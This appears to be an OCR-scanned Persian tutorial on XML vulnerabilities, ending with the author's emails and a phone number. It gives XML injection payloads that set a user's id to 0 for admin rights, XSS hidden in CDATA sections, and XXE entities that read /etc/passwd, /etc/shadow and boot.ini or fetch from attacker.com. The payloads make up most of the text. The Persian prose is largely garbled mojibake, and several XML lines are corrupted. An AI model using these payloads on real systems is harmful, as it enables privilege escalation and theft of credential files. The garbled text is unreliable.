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“He who lives by hacking
No hack dies.*

(Quote from Parishan)
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<?xml version="1.0" encoding=""1SO-8859-1""?>
<users>
<user>
<username>rising</username>
<password>!c3</password>
<userid>0</userid>
<mail>rising@example.com</mail>
</user>
<user>
<username>sunlands</username>
<password>wls3c</password>
<userid>500</userid>
<mail>sunlands@example.com</mail>
</user>
</users>
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Password: Un6R34kb!e
E-mail: parishan@linuxmail.org
JL}AJJMQ&\MJ\Jiﬁ)d‘)}y&m\)i‘)ddb)\doyﬁs:

http://www.example.com/addUser.php?username=Parishan&password=Un6R34kble&email=parishan@linux
mail.org

Aiae al g ) IS4y 5 ealdi il 5o (sl La YU sl 53 50 il 50 5l amy ) i) a3
<user>
<username>Parishan</username>
<password>Un6R34kb!e</password>
<userid>500</userid>
<mail>parishan@linuxmail.org</mail>
</user>
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<?xml version="1.0"" encoding=""1SO-8859-1""?>
<users>
<user>
<username>rising</username>
<password>!c3</password>
<userid>0</userid>

<mail>rising@example.com</mail>

</user>
<user>
<username>sunlands</username>

<password>w1s3c</password>

<userid>500</userid> <mail>sunlands@example.com</mail> <fuser> <user>
<username>Parishan</username> <password>Un6R34kb!e</password>
<userid>500</userid> <mail>parishan@linuxmail.org</mail> <fuser> </users>
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<node attrib="foo""/>
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Username = foo<
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<user>

<username>foo<</username>
<password>Un6R34kb!e</password>
<userid>500</userid>

<mail>parishan@linuxmail.org</mail>

</user>
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Username = foo<!--
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<user>
<username>foo<!--</username>
<password>Un6R34kb!e</password>

<userid>500</userid>

<mail>parishan@linuxmail.org</mail>

</user>
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<tagnode>&lt;</tagnode>
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Username = &foo
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<user>
<username>&foo</username>
<password>Un6R34kb!e</password>
<userid>500</userid>

<mail>parishan@linuxmail.org</mail>
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</user>
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<I[CDATA[/]]>
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<node>
<I[CDATA[<foo>]]>
</node>
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<username><![CDATA[<$userName]]></username>
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<username><![CDATA[]]>]]></username>
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<htmlI> $HTMLCode </htmI>
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$HTMLCode = <I[[CDATA[<]]>script<!/[CDATA[>]]>alert('xss")<![CDATA[<]]>/script<![CDATA[>]]>
Giiua ) JKGadl sl Sl S A ale 3 540 4S (630 Gy gea () 2 4SS
<html>
<I[CDATA[<]]>script<![CDATA[>]]>alert('xss")<![CDATA[<]]>/script<![CDATA[>]]>
</html>
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it J) ol S g) XS (5 oaiiS:
<script>alert(*XSS")</script>
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<?xml version=""1.0"" encoding=""1SO-8859-1""?>
<IDOCTYPE foo
[
<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///dev/random"* >

1>
<foo>&xxe;</foo>

L8 SN g s @y ¢ Ghpladl 55 0983 sA BN Ol saae 48 (Fla) )5 e (sla 020 4y Jad ¢ S oliiul Vb (53555 51 AS (S sa 2
e Qi L 4350 da s 45l Gl )l L adine (),

55 Lad (50 50l s (5 e S (e AS saBi Apad S a1 )8 (53555 O S sla 51 i) Gl (5 e SGAS Gl S
S ol ) sl s Sl (Siel 3l se 4y 03) A Jle)) i s 4S ¢ aa ) ) (il Caald

<?xml version="1.0"" encoding=""1S0-8859-1""?>
<IDOCTYPE foo [
<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding=""1SO-8859-1""?>
<IDOCTYPE foo [
<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "‘file:///etc/shadow"* >]><foo>&xxe;</foo>

<?xml version="1.0"" encoding=""1SO-8859-1""?>
<IDOCTYPE foo [
<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "file:///c:/boot.ini"" >]><foo>&xxe;</foo>

<?xml version="1.0"" encoding=""1SO-8859-1""?>
<IDOCTYPE foo [
<IELEMENT foo ANY >

<IENTITY xxe SYSTEM "http://www.attacker.com/text.txt"" >

12


/dev/random
/etc/passwd
/etc/shadow
file:///c:/boot.ini
http://www.attacker.com/text.txt
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1>

<foo>&xxe;</foo>

Tag Injection
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o alai) (pESa,
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Username: Parishan
Password: Un6R34kb!e

E-mail: parishan@linuxmail.org</mail><userid>0</userid><mail>parishan@Ilinuxmail.org

e 54 Al 50 Omly S 43 63 S alis Dl el 3 A ¢ ady Jla ) Yl a6 3 4Gl D) ae
<?xml version="1.0"" encoding=""1SO-8859-1""?>
<users>
<user>
<username>rising</username>
<password>!c3</password>
<userid>0</userid>

<mail>rising@example.com</mail>

</user>
<user>
<username>sunlands</username>
<password>w1s3c</password>
<userid>500</userid>

<mail>sunlands@example.com</mail>
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</user>
<user>
<username>Parishan</username>
<password>Un6R34kb!e</password>

<userid>500</userid>
<mail>parishan@linuxmail.org</mail><userid>0</userid><mail>parishan@Ilinuxmail.org</mail>

</user>
</users>
O iina 4t DS 5 YU &l sty 3ilae o 8 I3 e J) al Sl Q8 (2 Al n 5l 2as &) gaa 0 2 3,
B AT K5 5 (S 8 a8) 48 (ed (i) pb (sl 002 2gm s YL Caend 55 JSe K Lai
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DTD
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Al o) IS 4g 00l (i Le a3 0 ) g0 3l (g1 4 il B W J, 48 S (s OV O
<IDOCTYPE users [
<IELEMENT users (user+) >
<IELEMENT user (username,password,userid,mail+) >
<IELEMENT username (#PCDATA) >
<IELEMENT password (#PCDATA) >
<IELEMENT userid (#PCDATA) >
<IELEMENT mail (#PCDATA) >
1>
G Gl IS S (e 4S5k () sad
userid
A (8 e ¢ i sla Gl A 3 ¢ i i g4 alal sals Slea (g S U ddine G by (aes A4S sl iy jal,

e dMal LaS (F ) sea 53 o Glis) Ul D) 50 G G010 Ul e G g o et 5o s ) B (B Gl 4S JSie 0l 43 e S 43
Lo Lol 548 (5 50a3 3 ) g Caandd (55 5 Al 4531 8IS ()5S 40 gl 03 Cansdy 4S

userid

14


mailto:%3Cmail%3Es4tan@hell.com%3C/mail%3E%3Cuserid%3E0%3C/userid%3E%3Cmail%3Es4tan@hell.com%3C/mail
mailto:%3Cmail%3Es4tan@hell.com%3C/mail%3E%3Cuserid%3E0%3C/userid%3E%3Cmail%3Es4tan@hell.com%3C/mail
mailto:%3Cmail%3Es4tan@hell.com%3C/mail%3E%3Cuserid%3E0%3C/userid%3E%3Cmail%3Es4tan@hell.com%3C/mail

Ol 1 deaa Xml Vulnerability 15
pid R lai 53 ),

A (s 50 U S Ll (5 0 9a0 (s Caand 534S

(el ol 3 yJailics] 48 il

DAl sn S 481 Yl ad g 5 JShie LAt dsa s I ol Sl QB (5510 5 AS ol 2 51ailiud b S aidiegh 4S ) shai san
sa ) sae JSudia (ol ) 5, (A ) SIS ) 5 4 ealdind (5 S

DS s 51 W ST S el 4 gine Ll 48e sobiid (BL CalS (555 (53 S 48 051 sms Ul ) ) (51 (ol SIS i L
ﬁa)@u\é&h\d)\yﬁl

Ao Claia 651 CoialS 4 i g jle 3S ) (i 4S i (5 5SSl Sl saldinl IS 0 igy JSda () ),
?ei-y* 50 ASIWSUL o 938 e ) (g 5000
Criagdy U S a5 () 5l (5 4l 4 Ba 5y SISl o 58 48 oa i (g 533y jsia K,
poina s R (1 a4y 5 ) S ) LA
Username: Parishan
Password: Un6R34kb!e</password><!--

E-mail: --><userid>0</userid><mail>parishan@linuxmail.org

30 ikl i ISl (1o 4S el () oo (5 02 A Jat 5 5w 48 4B sy 5 e 48 S UG () i S Sl g (oS il 0
O i ) 4 Sseal s (S (R Cia LA oS 4y ol il 4y 5 dsa 4y (o) (S (e a3 )3 S () sia ¢ pEIR
4 (a8 i 9 HYL o jae ol oA 50 A8 (s ¢ (312 (o) A jiae g sdal XS

Jld e Sl siae G a0l 2
xmldb
Uil 53 )y IS4 L
<?xml version="1.0"" encoding=""1SO-8859-1""?>
<users>
<user>
<username>rising</username>
<password>!c3</password>
<userid>0</userid>

<mail>rising@example.com</mail>

</user>

<user>
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<username>sunlands</username>
<password>w1s3c</password>
<userid>500</userid>

<mail>sunlands@example.com</mail>

</user>

<user>
<username>Parishan</username>
<password>Un6R34kb!e</password><!--</password>
<userid>500</userid>

<mail>--><userid>0</userid><mail>parishan@Ilinuxmail.org</mail>

</user>

</users>
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Oy dana Xml Vulnerability

U.ul.a.'r' Glasiia

Mr.Parishan@Gmail.Com

Parishan@LinuxMail.Org

09361575708
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All IrAnonymous Users
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